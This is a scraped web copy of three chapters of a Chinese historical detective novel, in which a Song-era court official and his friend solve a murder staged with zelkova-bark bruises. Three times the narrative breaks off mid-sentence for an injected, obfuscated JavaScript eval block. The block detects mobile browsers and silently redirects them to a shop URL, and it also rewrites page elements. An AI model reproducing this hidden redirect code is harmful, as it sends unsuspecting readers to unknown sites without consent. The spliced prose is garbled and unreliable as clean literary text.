琼林宴后,栾素的同年们,不论是留在京城做官的,还是外放为地方官的,陆陆续续都走马上任了。栾素在家里等得实在有些着急。昨天大理寺派人传来口信,说今天晚些时候可以先来大理寺瞧一瞧。是以太阳甫一露面,栾素就穿着官服,拿着笏板和告敕跑到了大理寺。 只是大理寺现在可以称得上是“门前冷落鞍马稀”,只有几个衙役正在洒扫。 奇怪,现在正是点卯的时候,人不应该很多吗?栾素有些疑惑。 一个小衙役眼尖,看到了一个穿着青色官服的人往大理寺这走,便迎上前去问道:“哟,这位大人,来大理寺有何公干啊?” “烦劳通禀一下,新任大理评事栾素前来上值。”栾素说话很是客气。 小衙役说:“小人眼拙,原来是自家大人。大人怎么这个时候来啊?” “有什么不妥的吗?”不是说让自己今天来的吗?栾素仔细回忆了一下,没错啊。 小衙役看栾素是真的不知道,解释说:“大人不知道吗?今日是五月朔,宫里要办大朝会,大理寺内大理评事以上的大人们都要进宫。现在衙门里就剩下文主簿了。怕是要等到晌午,郑大人才能回来。要不您进来坐着先等一会儿?” 衙役所说的郑大人,是现任大理寺卿郑临山,栾素新的顶头上司。 栾素这才想起,昨天来人传话的时候,还说了“晚些时候”,原来是这个意思。自己新官上任的时间正好和大朝会撞上了,现在又不能去宫里,大理寺这人生地不熟的,栾素更愿意回去等。刚想告辞,衙门里走出来一个人。 “出什么事了?”说话的人,双手背后,绕过放在门口的水桶,有些目下无尘的意思。 小衙役帮忙介绍着,“文主簿,这位是新任大理评事栾大人。第一天上任,来得不巧,衙门里的大人们都进宫去了。” “怎么也不早进去通报,下官见过栾大人。”这主簿说着就要给栾素行礼,栾素连忙把他搀住,他不太习惯别人这样。 “多谢大人!卑职早就听说过栾大人,如今一见,大人果真是一表人才。去年大人在都进奏院为陛下献策的事情,整个汴京官场都知道了。大人是今年殿试二甲第四,又是秘书省出身,前途无量,卑职早就想跟在大人手下学习了……” 这主簿瞧着,年龄也有四十多了,大段大段的夸赞之词跟不要钱一样涌向栾素。栾素到底年轻,脸皮薄,听不得这样的奉承,便提议道:“文主簿说笑了,我资历浅薄,以后公事上面还要仰赖各位前辈多多关照。不如文主簿带我看一看大理寺吧,郑大人一时半刻也回不来,好歹打发一下时间。”如今被衙门里的人看到,再走也不合适了。 栾素说得很真诚,文主簿被打断了也没有不满,“好好好,我给大人介绍一下大理寺,大人随我来。” “……咱们大理寺管着断刑和治狱。凡是奏劾六品以下的命官、军中将校还有死罪以下的案子量刑,都归左断刑管辖;右治狱会负责审理汴京城里发生的刑案、朝廷官员的不法之事,还有追缴官府的财物。这边就是左断刑的公事房了,从这边往那去,分别是磨勘案、宣黄案和分簿案三个职能司。咱们左断刑内部是‘断司-议司’分阶审理的,大人为新到任的大理评事,会被划到断司里,顶替原来的彭评事负责京东路和京西路的案子,大人拟判完案子再交由议司复核……” “文主簿在大理寺任职有许多年了吧。刚才一路走来,文主簿事无巨细都讲得很清楚,便是我这个初次来到大理寺的人,听完了都不会迷路了。” “大人谬赞。卑职在大理寺已经待了十多年了,闭着眼也能找对地方。大人,咱们往这边走……”文主簿刚才带着栾素从大理寺的东边绕了一圈,如今正好又回到了大理寺正厅前面的路口。 和刚才的门庭冷落相比,大门处此时不太太平。和栾素搭话的小衙役,正拦着一个神色匆匆的人不让进门,那人看着是个师爷的打扮。 栾素朝门口走去,扬声说道:“怎么回事?” “大人!大人!下官是开封府下辖祥符县的属官,有要事禀告!”那师爷好不容易看到一个穿着官袍的人,像是抓住了救命稻草,急忙说出了自己的来意,“苏杭应奉局的朱大人今早被发现死在了祥符县,死因蹊跷,又事涉“花石纲”,县令大人恐处置不当,请大人前去祥符县主持大局!” 文主簿说道:“开封府下辖的京县发生命案,若想求助,你该去找开封府,大理寺只负责审查案件的判决。” “大人,下官刚才已经去了开封府,可是今日大朝会,开封府里能主事的人都去宫里上朝了。下官求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520347|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告无门,这才来了大理寺。” 这人把事情说得很严重,但国有法度,栾素也只能稍微帮上一把,“虽是如此,大理寺也不能乱了办事的规矩。你先回去吧,我会给开封府左军巡使季大人递封信,等下了朝,开封府自会派人前去查验。”栾素自刚进京的第二日去开封府录了口供,便与季师行一见如故,两人成了交情不错的好朋友。季师行虽为皇室旁支,但本人一点架子都没有,按他的话说,自己也就一个姓氏能和皇家扯上关系了。之前季师行还打趣过栾素,说他碰到了卢轸就像撞了大运一般。 “大人,县里实在等不及了。苏杭应奉局的人说,朱大人今天是要进宫觐见陛下的,要是县里正午之前不能破案,他们就要到陛下那里告御状。还请大人出手相助,祥符全县上下百姓都会记住您的恩情!”这人说完,还磕了三个响头。 时光重叠,去年,栾素也曾这样在文安县衙门口苦苦哀求过。既有人愿意为了县令做到这个份上,应该是个好官吧。如今,上位者变成了自己,栾素不愿做杜霖那般的人。 “你先起来吧,我跟你去。”栾素把人扶起,那人千恩万谢地念着,还要把自己的马让给栾素。 “不用,我自己有马。”说的是卢轸新送的一匹上好的枣红马,栾素看向文主簿,说道:“文主簿可有空与我一同走一遭?” 文主簿赔着笑脸说道:“大人,下官今日还有些公文要等着归档,暂且走不开,您看……” “既如此,你就在衙门里守着吧。”栾素说完,一扬鞭子,两人绝尘而去。 刚才的小衙吏又凑了上来,“大人,您怎么不跟着一起去啊?您刚才不是还说想跟在栾大人手下学习的吗?” “不该问的不要问,好好扫你的地去。”栾素一走,文主簿便也没必要撑着笑脸了。 当今陛下虽说勤勉政事,锐意改革,但在赏玩奇花异石、名家画作上,很是舍得花银子。苏杭应奉局便是陛下所置,大批从东南地区搜罗来的宝物,被称为“花石纲”,通过运河,一船一船地运往汴京,囤积在城内的皇家园林艮岳里。朝中大臣多次上疏说此事消耗民力,但陛下每次都留中不发。这案子,死的是小小的朱勋,牵扯到的可是陛下喜怒,处理不好,便是大大的麻烦事。反正自己刚才已经提醒过栾素了,他非要去逞英雄,以后出事也怪不到自己头上。 文主簿看着栾素离开的方向,甩了一下袖子,扭头走进大理寺。 18. 第 18 章 祥符县城外,一个小院被里三圈外三圈地围满了人。 卢轸跟着柱子来到这里,院里没瞧见尸体,只能听见周围的村民在七嘴八舌地议论。卢轸听了半天也没听出来事情的来龙去脉。 “都让一让,让一让,京城大理寺办案。”高声的呼喊让人群主动朝左右让出了一条通道。 卢轸望去,是穿着官服的栾素驱马向这赶来,后面还跟着师爷和几个跑得气喘吁吁的捕快。柱子悄咪咪地归到了队伍里,他应该是在县里接到栾素的时候,偷偷抄小路跑回去给父亲捎口信的。 卢轸身边,村民甲小声地说道:“这位大人看着好生年轻,这靠谱吗?” 村民乙也小声说道:“谁知道呢,还和县令大人穿的一样的衣服,应该不是个很大的官。算了,咱们就当看热闹了。” 等到栾素进去,人群间的缝隙迅速收拢,卢轸趁着这个机会顺利挤到了前两排。小院的院门还算大,卢轸正好能看清院里的情形。 “下官祥符县县令许承明参见上官。”许县令见等了许久的救兵终于来了,忙上前见礼。 “使不得使不得,许大人多礼了,快快请起。”栾素闪身躲开许承明的礼,和县丞一起把人扶了起来。 栾素和许承明同是八品,见面作揖行个礼就行,谁能想到许承明见了自己就是一跪,栾素赶紧解释到:“鄙人栾素,是新到任的大理评事,与许大人平级。京城下辖的县城里出了人命案子,本不该我来的。奈何今日大朝会,开封府和大理寺的大人们都走不开,我只好越俎代庖了,还望许大人莫要见怪。” “此案有些棘手,大人能来,祥符县已是感激不尽了。”许承明也顾不上刚才行礼时的小插曲,快速介绍起了案子。 “昨日下午,苏杭应奉局的朱勋朱大人,就是本案的死者,和一行官员随侍压着‘花石纲’到本县歇脚,说等着今日进京将‘花石纲’献给官家。大概是申时,朱大人和一众随从出门闲逛,来到了这户人家的外面。从院墙外看到了这棵榉树,朱大人想要买下这棵榉树,主人家不肯,两伙人闹得有些不愉快。昨晚朱大人独自一人从馆驿出来后,到今日清晨都没回去。随行官员遍寻不见,就到县衙报了案。捕快们在距离小院不远处的林子里发现了朱大人的尸体,尸体身上有殴打的痕迹,头部还有重击伤。尸体还在原处停放,大人可以随时查看。” 栾素一边听着,一边绕着院子观望。小院不大,主人家的起居房间在正北方,靠着东北方向院墙的是小厨房。门口放着一只刚杀好的鸡,鸡血流了一地,还有些微微发黑。锅里正烧着热水,鸡毛还没有择干净。院子里像是刚扫过鸡粪,干净异常。院中的这棵树长得很好,郁郁葱葱的枝叶给院子提供了一块不小的阴凉地。树下还有几个板凳,应该经常有人在树下乘凉。 许县令指着院里一位二十多岁的青年说道,“这户主人家姓常,家中有四口人,男主人叫常洛,是个读书人。剩下的三人是常洛的母亲、妻子和刚刚过完百日的孩子。因为朱大人的尸体就在小院的不远处,昨天又只与常家一户人家起了争执,故而下官来此验看一下有没有可疑的线索。” 栾素听完许县令的介绍,笑着点了点头,也不知道自己刚才说的两人品级相同之事,许县令有没有听进去。言归正传,昨日死者和常洛在小院内有过争吵,今天死者被发现死在小院外不远的地方,确实是这个姓常的人家嫌疑最大。 一个吊梢眼的随从咋咋呼呼地说道:“喂,我说许县令,这还用接着查吗?明摆着就是这书生杀了我家大人,还不赶快把此人拿下结案,我等还要进京复命呢。” 栾素冷眼扫过去,那个随从一下就噤住了声。 常洛听到对面发难,赶忙为自己辩解:“你血口喷人,我与他昨日是起了些争执,但也远远没有到要杀人泄愤的地步。还请二位大人明鉴!” 栾素背过身去,小声问道:“许大人,买个树怎能生出这许多事端,可还有别的什么隐情?” “大人有所不知,常洛家里的这棵树,是榉树,世人都说‘无榉不成俱’,这榉树价格不菲,天生就是做桌椅板凳的好材料。一棵好的榉树在京城有钱人家里紧俏得很,更不要说苏家这棵九丈多高的榉树了。这些年县里修了桥和路,县城西边比东边繁华了不少。原本和常家住在一起的邻居陆陆续续都搬到县城西边去了,只有常家人舍不得这树,一直住在这里。”许承明又凑近些,“昨日我正巧路过此地,那位朱大人说自己是苏杭应奉局的人,想强征常家的树。这树在常家都种了好几代了,常洛死死护住不让他们砍,身上挨了几脚。还是下官好说歹说才把朱大人劝停手的。” 原来如此,栾素对花草树木不是很了解,只记得自己好像在哪里听说过榉树,没想到竟是如此珍贵的材料。 站在院外的卢轸只能依稀听到一些对话,但也够大致了解案情了。 “昨日明明是你们仗势欺人,只出五两银子就要买下我家的树,我不肯,你们就打我,还好县令大人顺路经过我家,不然我现在都未必还能再站在这。” “少废话,我们能看上你家的树,你都该烧香拜佛了。这树跟了我们,日后是要拿进宫里做书案的,偏你这酸秀才不识相。” “这树是我曾祖父在世时就种下的,好些年才成材。就凭你们是京城来的,五两银子就要砍走我家的树,你们这就是要明抢啊!” 栾素听了那些随从的诡辩之言,心中厌恶又多了几分。陛下御极已有二十年,怎会容忍苏杭应奉局这种欺压百姓的官员存在。 “主人家,你说这人不是你杀的?”栾素走到常洛跟前问道。 “回大人的话,草民知道杀人偿命的道理。昨天的事情县令大人已经帮忙安抚过去,草民家中还有老母幼子要赡养,何至于为了几个拳脚犯下这杀人大罪。”常洛说的很是在理。 “人是在你家附近发现的,昨夜可有听到什么响动?比如说打斗的声音?” “家中老母觉浅,昨晚服用了安神的汤药。我夫妻二人昨晚带着孩子也是早早就睡下,家中大人都没有听到什么响动。今日一早,县令大人带人上门,草民才知道发生了什么。” 常洛平静地答话,在他身后,站着不知所措的母亲和侧身挡着孩子视线的妻子。 常家四周没有什么邻居,便也找不到什么潜在的目击证人了。 栾素继续问道““你平日里做什么营生?” “草民在县城里的一家学堂做教书先生。” “既如此,早起为何不赶着去县城,反而在家中烧水杀鸡呢。”栾素指着地上的死鸡问道。 一直抱着孩子的常夫人,突然出声,帮着丈夫回答:“回大,大人的话,是民妇嘴馋,想要吃些鸡肉,官人这才想着早起把杀鸡好。” 栾素看向常夫人,她说话时,身形微微有些发颤,手还不自觉地抓紧了孩子的衣服,看得出来,她有些害怕。 栾素问完了自己想知道的问题,“许大人,这里我已经看完了,咱们去发现尸体的地方看看吧。”许承明应下,挥挥手,捕快们上前,准备把常家人一起带到现场。刚才一番询查下来,虽没有证据能说明常家人就是凶手,但同样也没有证据能够排除他们的嫌疑,在真相大白之前他们都要在县衙的监视范围内。 “常公子一个人去就行,令夫人和令堂在家中等候就好,别吓到了孩子。”栾素开口说道,许承明依言,捕快们只带走了常洛一人。 看热闹的村民,乌泱泱地跟着捕快们一起朝发现尸体的地方走去。卢轸留在原地,透过院门,仔细看着院内的榉树。按理说,好好被养护的树木不应该出现这种情况啊。 小院旁边的树林里,朱勋的尸体呈仰面状躺在地上,身上还有些淡淡的酒味。确实如许承明所说,尸体后脑上有个钝器击打的伤痕,身上青紫一片,摸着有些软,像是殴打所致。 “仵作来看过了吗,死亡时间是什么时候?” “回大人的话,应是晚上丑时。” 栾素吩咐一旁的县丞,“找和朱勋他们一行的人来辨认一下,看有没有少什么财物。” 县丞领命而去。栾素在小树林里转了转,没有看到拖拽或者推车的痕迹,倒是尸体旁边的土地上,脚印混乱又叠加在了一起,似乎这里就是第一现场了。血迹也是集中在尸体旁边,应该只有朱勋一个人受伤。朱勋体型不小,能把这样一个人打死,至少得是个精壮的汉子,栾素不着痕迹地打量了一下常洛,看起来有些勉强。 “大人,已经清点过了,朱大人身上少了二十两碎银子,腰间的玉佩……” 县丞的办事效率很高,栾素听完,又问道:“在常家可曾见到过这些财物?” 县丞摇了摇头,一旁的朱勋的随行官员看到这,又跳了出来,“这位大人是什么意思,常家没有发现这些东西就能洗脱嫌疑了吗?大人莫不是太偏向常家了。” 栾素并没有理会他,继续吩咐着,“找些人手,以尸体为中心,向四周找找有没有散落的财物,新挖的土坑或者是树洞之类能藏物的。” “本官并没有说常家人已经洗脱了嫌疑,这只是正常的流程,你不要随意揣测。”打量着自己是不知道他们什么心思吗,他们一心想把罪名往常洛身上安,为的不就是把常家唯一主事的男丁除掉。如此,他们再想砍树,剩下的老弱妇孺怎么可能还能拦住。一群只想着升官发财的城狐社鼠,上官都死了,还在心里盘算着这些。 “大人!在这边找到了一个小金龟!”一个捕快举着一个金灿灿的物什跑了过来。 刚才报的失踪财物里就有这个小金龟,应该是凶手走时不小心漏掉的,栾素说道:“朝着这个方向,再往前找。” 朝着这个方向继续走,又发现了一块带血的石头,看来凶手就是朝这个方向潜逃的。众人的脸色明显缓和了不少。 栾素指着杂草丛生的小路问道:“许大人,这个方向一直走下去,能到什么地方?” 许承明看了看,说道:“这里原先是有一条路,顺着路一直走下去能到一个庄子,原来有好几户人家都住在那里。” 栾素又问道:“听着意思是现在没人住了?” 许承明说道:“也不算是全然没有人。本县的一个有名的泼皮无赖就住在那里,此人顽劣不堪,手脚不干净,常有些偷鸡摸狗的动作。四下邻居不忍其扰,先后都搬走了,现在就剩下他自己住在那。” 栾素向后招呼着捕快,“去他家里找一找,看看他人在不在家。” “大人的意思是?” 栾素说道:“还不能确定是不是他,要看看从他家里能搜到什么了。” 小路的尽头是一片破败的房屋,年久失修,院落也没有人打理。稍微有些人气的地方就是祥符县无赖苗海的家了。七八个捕快冲进了苗海家的院子,把人从床上薅了下来。开始在屋子里快速翻找着。 还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522942|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全清醒过来的苗海骤然间被人押到了院中,不停地挣扎着,“放开我,你们是谁啊,要干什么!” 捕快们很快就找到了赃物,那些东西就放在苗海家的床榻下面。“大人!找到了,全都找到了。朱大人随身携带的钱袋子,还有其他的一些值钱的玩意,都在这了,和刚才那个随从说的都能对的上。” 许承明大声喊道:“好啊,苗海,原来是你。你好大的胆子,连上京的官员都敢杀。左右,把他给我绑下!” 苗海听到“上京”、“杀人”,整个人都清醒了过来,这么大一个帽子就扣在了自己头上,说什么也得问个清楚,“许大人,你们抓错人了吧,我一直在家老老实实地睡觉,没出去惹事啊,你们无缘无故就把我绑了,这算什么?” 许承明指着苗海说道:“你这厮还敢狡辩,本县今早有苦主报案,说是苏杭应奉司的朱大人失踪,随后就在树林里发现了朱大人的尸体。经过京城大理寺栾大人的追查,一路查到你这,死者的财物都在你家里,你还装傻!以往你都是小偷小摸,本县每每抓到你,都是关上几天便将你放走,没想到你这厮不仅不思悔改,还变本加厉杀害了给陛下贡奉珍玩的朱大人,真是胆大包天!” 苗海双手被绑在身后,挣扎着坐起来,说道:“等一下等一下,县令大人,应该是弄错了。你刚才说的这些,我全然不知情啊。我昨天下午喝了些酒,脑子昏昏沉沉的,回到家中就睡下了,不曾见过什么朱大人,也没有去过树林,更不知道这些东西是怎么到我家里的。” “本官问你,有谁能给你作证啊?” “这……”,苗海沉默了,这左邻右舍都搬走了,偌大的庄子就他一个人,他能找到个证人才是见鬼了。 许承明见苗海不说话,继续乘胜追击地说道:“那便是没有了,你空口白牙,上下嘴皮一碰,就想把自己洗干净了。告诉你,这些金银之物就是你杀害朱大人的铁证!无论如何,你都抵赖不掉。” 苗海哭嚎着说道:“县令大人,我冤枉啊,我这次真的是冤枉的。” 围观的村民见案子有了更像人犯的人犯,开始帮腔:“就是他,昨天下午我还在常家院子那里见到了他。一定是朱大人和常洛吵架的时候,苗海看到了朱大人身上那些值钱的玩意,起了歹心。晚上在没有人的小树林截住了朱大人,把人家身上的钱都拿走了!” 苗海有些激动,人又倒在了地上,他只能努力直起身子说道:“呸,你放屁,我昨天下午是有从常家那里路过,但是我根本就没有走近瞧过。谁知道什么朱大人,牛大人有没有钱的。蔡三,你不能因为我欠你钱就睁着眼睛说瞎话吧!” 苗海的话并没有为他招来同情。 “蔡三的话比你可靠多了,你欠我们家的两吊钱到现在还没还呢!” “就是就是,你这样的人能说出来什么真话!” “把他抓进牢里,再也不要放出来祸害人了!” “没错没错!” 苗海的脸因为太激动,已经憋成了红色,“放屁,你们全在放屁!仗着你们人多,就能把白的说成黑的了吗?” 许承明说道:“还不死心是吧,本官就让你死个明白。我问你,你身上的伤痕从何而来?” 苗海急忙说道:“这是我前几天和别的县的人打架弄伤的,只是还没消掉罢了。” “我看分明就是你昨晚抢夺朱大人的财物,朱大人抵死不从,你二人便扭打在一起。你身上的伤痕是朱大人打上去的,你眼见打不过,便从地上找了一块石头,对着朱大人的脑袋狠狠砸了下去。朱大人死后,你将他身上的财物洗劫一空,又抱着抢夺来的财物往家里跑,没想到路上掉了几件小玩意儿,你没有注意到,这才让我们一路追到这来。” 说完,许承明没有再理会还想解释的苗海。对着栾素说道:“栾大人,如此一来,案件便算是破了。大人真不愧是在大理寺供职的人,如今离晌午还有老些时候,便已经人赃并获,下官这次是真开眼了。” 栾素没有说话,他总觉得这个案子有些蹊跷。朱勋怎么会不偏不倚正好走到了常家附近,常家的大人们又都正好在这一天早睡,没有听到声响。常家的屋子里很干净,没有赃物,也没有其余的线索。院子里刚刚被打扫过,只有杀鸡的地方留有一片血迹。而尸体旁边遗留的小金龟和带血的石头,出现得太过于巧合,两个物证一前一后正好落在了通往苗海家的小路上。可是小金龟在前,石头在后,会有人行凶之后,拿着行凶的石头跑路的吗。苗海家附近也和常洛家是一样的情况,周围没有邻居。这就意味着没有人能帮他作证,那他昨晚丑时到底是不是在家中睡觉呢? 苗海这个人在县里口碑极差,说出的话没有人信。但是他刚才为自己辩护,说没有见过这些赃物的语气也不像是假的。会不会是有人看清了苗海的风评,故意栽赃嫁祸给苗海,让苗海有口难辨呢。 栾素脑中一团乱麻,不知道案子的切入点应该放在哪里,但总是感觉有些不对。 “大人!大人!您怎么到里来了,让小的好一顿找!您朋友让我给您捎个口信。”人群外面挤进来一个人,高声的叫喊打断了栾素的思路。 栾素抬眼望去,是卢轸,他怎么来这里了。 “栾兄,榉树,是榉树,常家的榉树有问题。” “榉树,对了榉树。朱勋身上的伤痕不对劲,是软的。”所有线索在栾素脑中连×了一条线。他完全相通了。 19. 疑窦丛生 栾素站在原地沉思,他在想自己刚才是不是落下了什么线索。怎么这么顺利,人和赃物一下都找到了。这苗海竟如此粗心,这么多的值钱玩意也不知道藏得深一些,像是就等着被人发现一样。还有常洛,从小树林走到苗海的家,他一句话都没有说过。 栾素不着痕迹地看了常洛一眼,常洛安静地站在苗海家的小院中。只是有点过分地安静了,安静得像知道这件事情最后一定会与自己没关系,没有被错怪的愤恨,也没有洗脱嫌疑的喜悦。倒是苗海,一直在挣扎着辩解,好像真的冤枉了他似的。 外面围观的民众叫嚷着,都说要把苗海绳之以法。 卢轸凑到刚才指认苗海的蔡三旁边,问道:“这位蔡大哥,苗海昨天穿的是这一身衣裳吗?” 蔡三也没有在意和自己搭话的是谁,他只当卢轸也是从附近跑过来看热闹的,“没错,就是这一件。他的衣服好长时间才洗一次,这一件都穿好几天了。” “那常洛现在身上穿的也和昨天的一样吗?” 蔡三看着常洛身上穿的灰色长衫,提高了两度声音,“诶,你还真别说,是换了一件哈。昨天常洛穿的是一件浅色的衣裳,被朱大人踹到地上的时候,身上还粘了不少灰呢。” 刚才卢轸跟着乡亲们一起,从小树林一直走到了苗海家,目睹了整个研判的过程。当局者迷,旁观者清,她已经看出来事情的蹊跷之处了。 “借过借过,大人,栾大人!”卢轸从人群里努力挤到前排,却被守在苗海家外面的捕快挡住了。没办法,卢轸只能站在外面大声喊着栾素。 “栾大人,家里让我给您捎个口信!” 好在声音够大,栾素听到了。从院子里走出来,栾素看到了被捕快们拦住的卢轸,好像是有些重要的事情要说。 “不用拦了,这是我家的……小厮。”此时说是朋友,似乎有些不妥,只有小厮能在案发现场陪在主家身边,总不能说是朋友好奇想要看看现场吧。一会儿再跟卢兄解释一下,栾素心想。 两个捕快刚把手抬起来,卢轸一个闪身就跑到了栾素身旁。两人第一次离得这么近,比卢轸的声音先到的是一股淡淡的香味,说不上来是什么味道,不过不是寻常的那种熏香,沁人心脾,栾素微微有些怔愣。 卢轸附在栾素的耳旁,小声说道:“榉树,伤痕,宋焕章,《洗冤集录》。” 对了!栾素想起来了!前段时间他升任大理评事之后,桑羊给自己抱来了厚厚的一摞书,说是卢轸特意搜集来的案件勘查之书,说不定日后审核案件的时候能用上,其中就有《洗冤集录》。栾素没有过断案的经验,对卢轸差人送来的书宝贝至极。前几日他刚在书中“疑难杂说”的章节里读到过榉树,之前在常洛家时,他就感觉这个树名好生熟悉。 本朝宋焕章大人所著的《洗冤集录》中有记载,用榉树皮敷贴在人的皮肤之上可以伪造伤痕。若伤痕内部呈现深墨色,四周青中带红,分散成一道伤痕,而且没有虚肿的,就是生前用榉树皮敷成的。如果是死后再用榉树皮敷贴,血液不流通,则不会有向四周散开的青赤色,只有微微的黑色,并且按压时不紧实坚硬,这样的伤痕就是死后敷贴形成的。 案子因为常洛家的榉树而起,朱勋身上的殴打伤痕也能和死后用榉树伪造的伤痕特征对上。那朱勋应该是在头部受到重击,死亡之后,又被人用榉树皮伪造了殴打的伤痕。 这附近只有常洛一家种有榉树,既如此…… 卢轸看到栾素眼睛里迸发出的亮光,知道是自己的提醒起了作用。卢轸没有多说话,站在栾素身旁尽职尽责地当起了小厮。 “许大人,嫌犯和常公子暂且都带回到县衙里吧,本官还有一些事情要查,先行告退了。”栾素向许承明匆匆交代了一声,便和卢轸走出了院门。 “哎,栾大人,这是要去哪啊……”许承明追到了外面,却只能看到两人骑着马快速消失在了视线当中。 栾素和卢轸的目标很明确,两人又回到了常家的小院子。常家剩下的人都被带到了县衙,现下只剩几个捕快在保护现场。 栾素直直奔向院子中的那棵高大榉树。榉树的树干上,有几处裸露着的树皮,看起来是被人用刀削下来的。卢轸用手摸了摸,树干里面还很湿润,是新伤。卢轸早些时候就注意到了这个异常之处,依着常洛对这棵榉树的重视程度,甚至不惜得罪苏杭应奉局的朱勋也要保下来它,怎么会让树在自己家里被不明不白地剥了皮呢。 卢轸对着栾素说道:“此案应该还有隐情,常洛说谎了。” 栾素问道:“会是常洛杀的人吗?” “朱勋身上除了那些伪造的伤痕,就剩下头部一处用石头击打的伤了,这才是他的致命伤。如果是常洛杀的人,这个小院应该才是第一现场。” 栾素有些诧异,“为何这么说?在尸体发现的地方和石头上都有血迹,当时朱勋应该流了不少的血。但是这个小院里外干干净净的,并没有血迹啊。” 卢轸绕着小院走了一圈,停在厨房前,看向了地上的污渍。早上县衙的捕快们来查抄常家,常洛那时正在厨房外杀鸡。 栾素顺着卢轸的眼神看去,“卢兄是说这个鸡血有古怪吗?” 卢轸沉思了一会儿,说道:“常家早起就在放血杀鸡,打扫庭院。栾兄认为这是个巧合吗?如果这块地方,就是朱勋被石头砸中躺下的地方,常洛在这里杀鸡,那流出来的鸡血不就正好能把地上的人血混淆住了吗。至于除鸡粪,洒扫庭院,应该也是在为昨晚清理好的现场找理由打掩护。” 栾素点点头,卢轸的猜测不无道理,“所以常夫人应该也说谎了,并不是她想吃鸡肉,而是在给丈夫找补。那她应该知道昨晚发生了什么。” 卢轸开始顺着这个假设继续往下说,“常洛把死去的朱勋带到小树林,拿走了他身上所有的财物,想要伪造成劫财害命的假象。这个时候常洛还需要一个完美的替罪羊把自己择干净,不然那些苏杭应奉局的人定然不会善罢甘休。于是他就想到了苗海,此人在县里口碑极差,经常做一些顺手牵羊的事情,乡亲们厌恶至极。这样的人便是做出了打家劫舍、杀人放火的事情也在情理之中,不会有人怀疑,事发之后,更不会有人为他伸冤。 更巧的是,苗海前几天刚刚和邻县的人打了一架,身上还有淤青。常洛应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530789|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道此事,便用榉树皮伪造了朱勋身上的假伤痕。他想让我们以为是苗海晚上外出碰到了独自一人的朱勋,又看上了朱勋身上的财物,起了歹心。便用石块狠狠击打了朱勋的头部,没想到一击不成,被朱勋抓到了机会反击,两人扭打在了一起,身上都留下了伤痕。最后朱勋敌不过苗海,倒在地上死去。 为了让这个故事更加逼真,常洛把朱勋身上的财物,都拿到了苗海家。苗海白天喝了个酩酊大醉,睡在床上不省人事,他把赃物放到了苗海的床榻下面,再在从小树林到苗海家的路上留下了几件证物,等待我们发现。于是乎,我们被从小树林一路引领到了苗海家。刚才在苗海家,乡亲们的反应就说明常洛的计划非常成功。” 栾素跟着卢轸的话推演着案件的发展,欣喜地说道,“不错不错,合乎情理。”栾素没想到卢轸除了做生意是一把好手,于破案这方面还如此有天赋,跟个经年断案的老吏一样。三言两语就把自己引到了正途,还顺便还原出了事情的经过,当下又对卢轸多出了几分敬佩。 可栾素不知道的是,卢轸从七岁起就跟在姐姐身边学着处理政务,十二岁的时候,帮助当时还是临潢府府尹的姑姑破了几件案子。哪里有什么天资聪慧,唯手熟尔罢了。 卢轸接着说道:“但是这些都不能作为直接的证据,也定不了常洛的罪。如果我们的假设成立,常洛在小院里杀害了朱勋,那就还有三个问题要解决。” 栾素问道:“哪三个问题?” 卢轸一一列举出来,“第一,尸体从小院运到外面的小树林,方式是什么,为什么一路上没有血迹。第二,常洛的衣服,昨天晚上常洛穿的衣服上面必定会沾有血迹,所有他今天换了一件新的衣裳。但是在常家,捕快们什么都没有发现,这件有血迹的衣服去哪了呢?第三,因为什么原因,常洛一定要杀朱勋呢?朱勋晚上为什么会出现在常家小院?常夫人和常母到底知不知情,又知情到了何种地步?”这其中最要紧的就是血衣,如果是埋了或者是藏起来,还可能找到。就怕……卢轸看向常家的小厨房,今早常家为了杀鸡拔毛,烧了一锅热水,如今这灶台下面还温着呢。 栾素点头,准备招来捕快,再把常家附近仔仔细细地找一遍,“卢兄所说,句句关键。我这就……” “栾大人!栾大人!不好了!” 是柱子,他不是跟许县令一起回县衙了吗,这两个疑犯都抓住了还能有什么不好的,卢轸有些不解。 栾素也是疑惑地问道:“发生什么事了?” 柱子许是跑得太快了,上气不接下气地说:“回大人的话,县令大人让我来……哎,你不是,早上那个,在我家麦田里歇脚的那个人吗?你怎么在这?” 柱子看到了站在栾素身后的卢轸,话题又一次跑偏了。 卢轸只好提醒他说:“柱子大哥,这些事先放一放,先说正事吧,县令大人让你来干什么?” 柱子说道:“哦对对对,真是出大事了,苗海叫那帮苏杭什么局的人给杀了,县衙现在乱成了一锅粥,县令大人不知道该怎么办,让我来请大人您拿主意。” “什么!”卢栾两人齐声惊呼。 20. 情非得已 